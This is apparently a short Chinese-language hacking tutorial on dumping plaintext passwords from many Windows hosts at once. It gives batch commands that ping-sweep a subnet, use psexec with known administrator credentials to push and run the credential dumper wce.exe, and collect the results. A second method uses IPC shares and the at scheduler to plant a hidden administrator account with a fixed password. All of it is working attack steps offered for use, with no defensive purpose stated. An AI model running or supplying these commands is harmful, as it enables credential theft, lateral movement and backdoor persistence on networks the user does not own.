当前环境:知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码。
1.psexec
解决办法如下：(批量链接抓取内存中的明文密码)
首先应用场景：多台windows主机使用同一密码的情况（例如网内如果用了虚拟化产品）
for /l %%i in (1,1,253) do echo 192.168.1.%%i >>ip.txt （按网段生成ip列表，现在的环境254为网关，所以地址到253止） for /f %%i in (ip.txt) do ping -n 1 -w 10 %%i | find /i "ttl" >nul && echo %%i >>ok.txt （判断存活主机，同网段内一般是不禁ping的）
del ip.txt for /f %%i in (ok.txt) do psexec \\%%i -u 用户名 -p 密码 -c wce.exe -w -o %%i.txt && move /y \\%%i\admin$\system32\%%i.txt .\ip\
（从存活的主机列表里逐个按已知帐号密码尝试远程执行命令，psexec -c参数是复制并执行wce.exe,执行完会自动删除wce.exe，-w读取明文帐号密码 -o保存到以ip命名的文件,然后将文件剪切到本地）
del ok.txt cd ip for %i in (*) do for /f %j in (%i) do echo %j >>ok.txt（将多个文件合并） for /f %i in (ok.txt) do findstr "%i" "result.txt" >nul || echo %i >>result.txt（去重）
tips:
psexec: 是在指定的一台或多台计算机上运行应用程序
wce.exe:从内存当中获取明文的工具
还要另外一种不用psexec工具的方法
2.IPC
写个bat
循环读取txt中的主机
ipc连接过去
复制读密码的工具和一个运行工具的bat过去
创建和运行计划任务或者使用at命令
等待2秒
复制结果文件回来
删除目标上面的文件
断开连接
例子(用于添加用户)
net use //1.1.1.1/c$ "用户名" /user:"密码" echo net user fuckuser Passw0rd! /add >c:\1.bat & net localgroup administrators fuckuser /add >> c:\1.bat copy 1.bat \\1.1.1.1\c$\ net time \\1.1.1.1 at \\1.1.1.1 11:30 c:\1.bat
